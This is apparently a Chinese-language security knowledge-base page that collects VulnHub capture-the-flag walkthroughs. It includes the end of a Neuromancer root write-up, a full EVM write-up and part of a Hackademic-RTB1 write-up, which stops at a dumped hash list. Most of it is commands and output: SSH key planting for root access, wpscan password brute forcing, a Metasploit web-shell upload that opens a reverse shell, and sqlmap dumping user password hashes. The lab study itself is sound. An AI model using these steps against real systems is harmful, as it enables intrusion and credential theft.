 - 将新创建的公共密钥的内容分配到授权密钥文件中： cat /mnt/root/root/.ssh/id_rsa.pub >> authorized_keys

将之前/home/ta/.ssh目录下的文件拷贝到/mnt/root/root/.ssh/下

``` bash
/mnt/root/root/.ssh # cp /mnt/root/home/ta/.ssh/authorized_keys authorized_keys
/mnt/root/root/.ssh # ls
authorized_keys  known_hosts
/mnt/root/root/.ssh # cp /mnt/root/home/ta/.ssh/id_rsa id_rsa
/mnt/root/root/.ssh # cp /mnt/root/home/ta/.ssh/id_rsa.pub id_rsa.pub
```

/mnt/root/root/.ssh的内容现在应如下所示：

``` bash
/mnt/root/root/.ssh # ls
authorized_keys  id_rsa           id_rsa.pub       known_hosts
```

#### 步骤9：将密钥复制到攻击机中

由于使用的是之前/home/ta/.ssh/目录下的文件，所以连接的话，如下连接即可

``` bash
root@kali:~# ssh -i /root/.ssh/id_rsa -p 34483 root@192.168.56.110
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
Enter passphrase for key '/root/.ssh/id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.


Last login: Tue Jul  3 22:02:40 2018
root@neuromancer:~# id
uid=0(root) gid=0(root) groups=0(root)
root@neuromancer:~# whoami
root
root@neuromancer:~# 
```

成功连接，密码还是之前连接ta的123456

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub170.jpg)

在“right-whippet” sh会话中执行此操作的最简单方法是，将id_rsa和id_rsa.pub的内容显示在屏幕上，然后将其复制/粘贴到您喜欢的文本编辑器中。确保将文件权限更改为chmod 400，否则当尝试使用它们时，这些键将被忽略（我浪费了一些时间想知道为什么直到这样做之前，这些键才一直不起作用）。

现在只想说，太帅会不会帅死人。。。:)))):::)))::))


#### 提权2总结

总而言之，Neuromancer是一台非常有趣的机器。为了达到目的，必须root另一box（Straylight），然后学习如何正确使用socat进行端口转发。一旦在Neuromancer上使用了低特权shell，特权映射就非常简单了……至少对于内核利用途径而言。但是，很高兴发现lxd提权线索隐藏在范围内.

我只是涉足容器（Docker）之前就某些漏洞进行了一些实验工作，但是从未真正使用容器配置问题来在主机上root。我四处搜寻以确定其他文章是否也涵盖了这个角度，但是到目前为止我还没有发现。因此…最好做一些别人可能会觉得有用的新事情。

<font color="red">Neuromancer知识点总结:</font>
 - tty可交互式shell
 - ssh-key毒化
 - lxd容器提权(new)
 - scp命令传输文件
 - tomcat-users.xml密码泄露

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end WinterMute-1 -->

</details>




# WordPress 插件与管理权限

WordPress 实验分别涉及登录反馈、插件读取、上传、数据库和本地任务。本章把同一入口之后的不同权限路径并列，保留原插件版本、账户状态与操作结果。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/cms-wordpress/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Phoenix 的盲注与上传属于两个插件，OTP 和 rsync 是后续系统阶段。

Stapler 同时保留文件读取、数据库写入、历史记录与内核分支。

EVM、Mr Robot 与 Hackademic 保留账户确认和实际文件执行证据。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [WordPress 账户与配置凭据](#case-evm) | evm | WordPress、凭据泄露、文件上传 |
| [Web 写入与内核提权候选](#case-hackademic-rtb1) | Hackademic-RTB1 | WordPress、文件上传、内核 |
| [认证响应、去重字典与交互式程序](#case-mr-robot-1) | Mr-Robot-1 | WordPress、密码审计、SUID |
| [插件盲注与双因素验证材料](#case-phoenix) | phoenix | WordPress、SQL注入、2FA、rsync |
| [插件文件读取与数据库写入](#case-stapler-1) | Stapler-1 | WordPress、LFI、MySQL、内核 |

<a id="case-evm"></a>

## WordPress 账户与配置凭据

原链由用户名枚举、后台认证到插件执行，再追踪本地泄露的 root 密码。保留各次工具输出与认证结果。

<p class="kb-provenance">来源 evm · 原记录 2020-05-23 · 8 个代码块 · 1 处图片引用</p>

<details class="kb-evidence" id="record-evm">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start evm -->

#### name

Name: EVM: 1
Date release: 2 Nov 2019

#### download

Download: https://mega.nz/#F!pVV1CKYI!ABCpQ0qUdbuYIszf0ljH1w
Download (Mirror): https://download.vulnhub.com/evm/EVM.ova
Download (Torrent): https://download.vulnhub.com/evm/EVM.ova.torrent

#### description

This is super friendly box intended for Beginner's

This may work better with VirtualBox than VMware



#### information gathering

first use nmap as usual

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.103
Host is up (0.00026s latency).
MAC Address: 08:00:27:90:6F:5B (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -sV -sC -T4 -p- -v -A 192.168.56.103
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a:b7:c0:78 (RSA)
|   256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12:8e:1c:ce (ECDSA)
|_  256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f:1c:db:aa (ED25519)
53/tcp  open  domain      ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: PIPELINING TOP RESP-CODES CAPA UIDL SASL AUTH-RESP-CODE
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: ID OK LITERAL+ IDLE LOGIN-REFERRALS SASL-IR more ENABLE have listed post-login capabilities Pre-login IMAP4rev1 LOGINDISABLEDA0001
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:90:6F:5B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 0.003 days (since Sat May 23 02:15:27 2020)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m58s, deviation: 2h18m33s, median: -1s
| nbstat: NetBIOS name: UBUNTU-EXTERMEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   UBUNTU-EXTERMEL<00>  Flags: <unique><active>
|   UBUNTU-EXTERMEL<03>  Flags: <unique><active>
|   UBUNTU-EXTERMEL<20>  Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: ubuntu-extermely-vulnerable-m4ch1ine
|   NetBIOS computer name: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE\x00
|   Domain name: \x00
|   FQDN: ubuntu-extermely-vulnerable-m4ch1ine
|_  System time: 2020-05-23T02:20:13-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-05-23T06:20:13
|_  start_date: N/A
```

 - Enumeration

use dirb

``` bash
root@kali:~# dirb http://192.168.56.103/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon May 25 06:24:07 2020
URL_BASE: http://192.168.56.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.103/ ----
+ http://192.168.56.103/index.html (CODE:200|SIZE:10821)                                            
+ http://192.168.56.103/info.php (CODE:200|SIZE:83014)                                              
+ http://192.168.56.103/server-status (CODE:403|SIZE:302)                                           
==> DIRECTORY: http://192.168.56.103/wordpress/                                                     
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/ ----
+ http://192.168.56.103/wordpress/index.php (CODE:301|SIZE:0)                                       
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/                                            
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/                                          
==> DIRECTORY: http://192.168.56.103/wordpress/wp-includes/                                         
+ http://192.168.56.103/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                     
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/ ----
+ http://192.168.56.103/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                              
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/css/                                        
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/images/                                     
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/includes/                                   
+ http://192.168.56.103/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                              
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/js/                                         
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/maint/                                      
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/network/                                    
==> DIRECTORY: http://192.168.56.103/wordpress/wp-admin/user/                                       
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-content/ ----
+ http://192.168.56.103/wordpress/wp-content/index.php (CODE:200|SIZE:0)                            
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/plugins/                                  
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/themes/                                   
==> DIRECTORY: http://192.168.56.103/wordpress/wp-content/uploads/                                  
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/network/ ----
+ http://192.168.56.103/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                      
+ http://192.168.56.103/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                      
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-admin/user/ ----
+ http://192.168.56.103/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                         
+ http://192.168.56.103/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                         
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-content/plugins/ ----
+ http://192.168.56.103/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                    
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-content/themes/ ----
+ http://192.168.56.103/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)                     
                                                                                                    
---- Entering directory: http://192.168.56.103/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Mon May 25 06:24:47 2020
DOWNLOADED: 36896 - FOUND: 14
```

use wpscan for more information

``` bash
root@kali:~# wpscan --url http://192.168.56.103/wordpress/ -e at -e ap -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.6
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.56.103/wordpress/
[+] Started: Mon May 25 06:27:45 2020

Interesting Finding(s):

[+] http://192.168.56.103/wordpress/
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.56.103/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.56.103/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.56.103/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.56.103/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.56.103/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
 |  - http://192.168.56.103/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>

[+] WordPress theme in use: twentynineteen
 | Location: http://192.168.56.103/wordpress/wp-content/themes/twentynineteen/
 | Last Updated: 2020-03-31T00:00:00.000Z
 | Readme: http://192.168.56.103/wordpress/wp-content/themes/twentynineteen/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | Style URL: http://192.168.56.103/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.4
 | Style Name: Twenty Nineteen
 | Style URI: https://wordpress.org/themes/twentynineteen/
 | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.56.103/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=======================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] c0rrupt3d_brain
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.56.103/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
```

now use wpscan bruteforce user c0rrupt3d_brain's password

``` bash
wpscan --url http://192.168.56.103/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt

[+] Performing password attack on Wp Login against 1 user/s
Trying c0rrupt3d_brain / 24992499 Time: 00:01:55 <============================> (10700 / 10700) 100.00% Time: 00:01:55
[SUCCESS] - c0rrupt3d_brain / 24992499                                                                                
                                                                                                            
[i] Valid Combinations Found:                                                                                 
 | Username: c0rrupt3d_brain, Password: 24992499
```

and we got Username: c0rrupt3d_brain, Password: 24992499

#### get a shell by using msf

``` bash
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.56.103
rhosts => 192.168.56.103
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi => /wordpress
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username c0rrupt3d_brain
username => c0rrupt3d_brain
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password 24992499
password => 24992499
msf5 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 192.168.56.126:4444 
[*] Authenticating with WordPress using c0rrupt3d_brain:24992499...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/xryoFXviCZ/GWcWlbcKol.php...
[*] Sending stage (38288 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.126:4444 -> 192.168.56.103:52970) at 2020-05-25 06:39:50 -0400
[+] Deleted GWcWlbcKol.php
[+] Deleted xryoFXviCZ.php
[+] Deleted ../xryoFXviCZ

meterpreter >
```

then we got root's password

``` bash
$ cat .root_password_ssh.txt
cat .root_password_ssh.txt
willy26
```

#### privilege escalation

``` bash
$ su root
su root
Password: willy26

root@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r# cd ~
cd ~
root@ubuntu-extermely-vulnerable-m4ch1ine:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-extermely-vulnerable-m4ch1ine:~# whoami
whoami
root
root@ubuntu-extermely-vulnerable-m4ch1ine:~# ls
ls
proof.txt
root@ubuntu-extermely-vulnerable-m4ch1ine:~# cat proof.txt
cat proof.txt
voila you have successfully pwned me :) !!!
:D
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub278.jpg)

Just such a simplest machine i have ever tried...:)

#### Summary of knowledge

 - wpscan find wordpress user
 - wpscan bruteforce wordpress user's pass
 - msf exploit/unix/webapp/wp_admin_shell_upload module to get a shell
 - root's password disclosure

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lucifer11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end evm -->

</details>

<a id="case-hackademic-rtb1"></a>

## Web 写入与内核提权候选

原记录从应用枚举进入文件写入，再逐个验证本地提权候选。成功分支和 Exploit Suggester 的候选列表保留区分。

<p class="kb-provenance">来源 Hackademic-RTB1 · 原记录 2019-12-11 · 11 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-hackademic-rtb1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Hackademic-RTB1 -->

名称：Hackademic: RTB1
发布日期：2011年9月6日

#### 下载

 - Download (Mirror): [https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip](https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip)
 - Download (Torrent): [https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip.torrent](https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip.torrent)

描述：

这是mr.pr0n提出的第一个现实性黑客攻击挑战
下载目标并获得root。
尝试读取根目录中文件“ key.txt”的内容。
请享用！

漏洞：

 - 纯文本密码
 - 提权
 - 重用凭证
 - SQL注入
 - 不受限制地上传危险类型的文件

靶机打开界面

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub37.jpg)



#### 信息收集

上nmap

``` bash
nmap -sn -v 192.168.84.0/24

Nmap scan report for 192.168.84.140
Host is up (0.00027s latency).
MAC Address: 00:0C:29:01:8A:4D (VMware)
```

``` bash
root@kali:~# nmap -A -v -sS -Pn -T4 --script=vuln 192.168.84.140

PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
|_http-server-header: Apache/2.2.15 (Fedora)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.tenable.com/plugins/nessus/55976
|       https://www.securityfocus.com/bid/49303
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|_      https://seclists.org/fulldisclosure/2011/Aug/175
| vulners: 
|   cpe:/a:apache:http_server:2.2.15: 
|       CVE-2011-3192   7.8     https://vulners.com/cve/CVE-2011-3192
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2013-2249   7.5     https://vulners.com/cve/CVE-2013-2249
|       CVE-2012-0883   6.9     https://vulners.com/cve/CVE-2012-0883
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-12171  6.4     https://vulners.com/cve/CVE-2017-12171
|       CVE-2013-1862   5.1     https://vulners.com/cve/CVE-2013-1862
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098
|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438
|       CVE-2012-4557   5.0     https://vulners.com/cve/CVE-2012-4557
|       CVE-2011-3368   5.0     https://vulners.com/cve/CVE-2011-3368
|       CVE-2010-2068   5.0     https://vulners.com/cve/CVE-2010-2068
|       CVE-2010-1452   5.0     https://vulners.com/cve/CVE-2010-1452
|       CVE-2012-0031   4.6     https://vulners.com/cve/CVE-2012-0031
|       CVE-2011-3607   4.4     https://vulners.com/cve/CVE-2011-3607
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2013-1896   4.3     https://vulners.com/cve/CVE-2013-1896
|       CVE-2012-4558   4.3     https://vulners.com/cve/CVE-2012-4558
|       CVE-2012-3499   4.3     https://vulners.com/cve/CVE-2012-3499
|       CVE-2012-0053   4.3     https://vulners.com/cve/CVE-2012-0053
|       CVE-2011-4317   4.3     https://vulners.com/cve/CVE-2011-4317
|       CVE-2011-3639   4.3     https://vulners.com/cve/CVE-2011-3639
|       CVE-2011-3348   4.3     https://vulners.com/cve/CVE-2011-3348
|       CVE-2011-0419   4.3     https://vulners.com/cve/CVE-2011-0419
|       CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
|       CVE-2012-2687   2.6     https://vulners.com/cve/CVE-2012-2687
|_      CVE-2011-4415   1.2     https://vulners.com/cve/CVE-2011-4415
```

打开发现是wordpress的，直接上wpscan

``` bash
root@kali:~# wpscan --url http://192.168.84.140/Hackademic_RTB1/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.5
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://192.168.84.140/Hackademic_RTB1/
[+] Started: Tue Dec 10 21:58:17 2019

Interesting Finding(s):

[+] http://192.168.84.140/Hackademic_RTB1/
 | Interesting Entries:
 |  - Server: Apache/2.2.15 (Fedora)
 |  - X-Powered-By: PHP/5.3.3
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.84.140/Hackademic_RTB1/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 1.5.1.1 identified (Insecure, released on 2007-09-24).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.84.140/Hackademic_RTB1/?feed=rss2, <!-- generator="wordpress/1.5.1.1" -->
 |  - http://192.168.84.140/Hackademic_RTB1/?feed=rss2, <generator>http://wordpress.org/?v=1.5.1.1</generator>

[+] WordPress theme in use: starburst
 | Location: http://192.168.84.140/Hackademic_RTB1/wp-content/themes/starburst/
 | Latest Version: 1.1 (up to date)
 | Last Updated: 2008-09-15T00:00:00.000Z
 | Style URL: http://192.168.84.140/Hackademic_RTB1/wp-content/themes/starburst/style.css
 | Style Name: Starburst
 | Style URI: http://starburst.weirdncrazy.com
 | Description: A WordPress 1.5/2....
 | Author: Claire
 | Author URI: http://www.weirdncrazy.com/universe/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.84.140/Hackademic_RTB1/wp-content/themes/starburst/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub38.jpg)

点击之后在后面加上单引号，明显有注入

直接上sqlmap,这站太烂了;)

``` bash
sqlmap.py -r C:\Users\HASEE\AppData\Local\Temp\\1576033944962.req -D wordpress -T wp_users --dump

+----+-------------+---------+----------+----------+----------+----------+----------+----------------------------------+--------------+------------+-------------------------+-------------+-------------+--------------+---------------+---------------+---------------+----------------+---------------------+------------------+---------------------+
| ID | user_idmode | user_ip | user_icq | user_msn | user_yim | user_url | user_aim | user_pass                        | user_login   | user_level | user_email              | user_status | user_domain | user_browser | user_nicename | user_nickname | user_lastname | user_firstname | user_registered     | user_description | user_activation_key |
+----+-------------+---------+----------+----------+----------+----------+----------+----------------------------------+--------------+------------+-------------------------+-------------+-------------+--------------+---------------+---------------+---------------+----------------+---------------------+------------------+---------------------+
| 1  | login       | <blank> | 0        | <blank>  | <blank>  | http://  | <blank>  | 21232f297a57a5a743894a0e4a801fc3 | NickJames    | 1          | NickJames@hacked.com    | 0           | <blank>     | <blank>      | nickjames     | NickJames     | James         | Nick           | 2010-10-25 20:40:23 | <blank>          | <blank>             |
| 2  | login       | <blank> | 0        | <blank>  | <blank>  | http://  | <blank>  | b986448f0bb9e5e124ca91d3d650f52c | JohnSmith    | 0          | JohnSmith@hacked        | 0           | <blank>     | <blank>      | johnsmith     | JohnSmith     | Smith         | John           | 2010-10-25 21:25:22 | <blank>          | <blank>             |
| 3  | nickname    | <blank> | 0        | <blank>  | <blank>  | http://  | <blank>  | 7cbb3252ba6b7e9c422fac5334d22054 | GeorgeMiller | 10         | GeorgeMiller@hacked.com | 0           | <blank>     | <blank>      | georgemiller  | GeorgeMiller  | Miller        | George         | 2011-01-07 03:08:51 | <blank>          | <blank>             |
| 4  | nickname    | <blank> | 0        | <blank>  | <blank>  | http://  | <blank>  | a6e514f9486b83cb53d8d932f9a04292 | TonyBlack    | 0          | TonyBlack@hacked.com    | 0           | <blank>     | <blank>      | tonyblack     | TonyBlack     | Black         | Tony           | 2011-01-07 03:09:55 | <blank>          | <blank>             |
| 5  | nickname    | <blank> | 0        | <blank>  | <blank>  | http://  | <blank>  | 8601f6e1028a8e8a966f6c33fcd9aec4 | JasonKonnors | 0          | JasonKonnors@hacked.com | 0           | <blank>     | <blank>      | jasonkonnors  | JasonKonnors  | Konnors       | Jason          | 2011-01-07 03:10:36 | <blank>          | <blank>             |
| 6  | nickname    | <blank> | 0        | <blank>  | <blank>  | http://  | <blank>  | 50484c19f1afdaf3841a0d821ed393d2 | MaxBucky     | 0          | MaxBucky@hacked.com     | 0           | <blank>     | <blank>      | maxbucky      | MaxBucky      | Bucky         | Max            | 2011-01-07 03:11:18 | <blank>          | <blank>             |
+----+-------------+---------+----------+----------+----------+----------+----------+----------------------------------+--------------+------------+-------------------------+-------------+-------------+--------------+---------------+---------------+---------------+----------------+---------------------+------------------+---------------------+

NickJames   21232f297a57a5a743894a0e4a801fc3
JohnSmith   b986448f0bb9e5e124ca91d3d650f52c
GeorgeMiller  7cbb3252ba6b7e9c422fac5334d22054
